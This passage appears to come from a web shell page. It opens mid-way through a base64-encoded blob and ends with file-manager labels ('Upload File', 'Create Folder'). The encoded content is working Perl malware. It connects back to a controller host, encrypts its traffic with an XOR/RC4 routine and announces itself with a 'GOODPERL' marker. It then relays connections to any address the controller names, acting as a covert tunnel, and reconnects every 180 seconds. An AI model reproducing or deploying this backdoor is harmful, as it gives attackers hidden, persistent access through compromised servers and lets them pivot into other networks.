vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K"
Upload File
Create Folder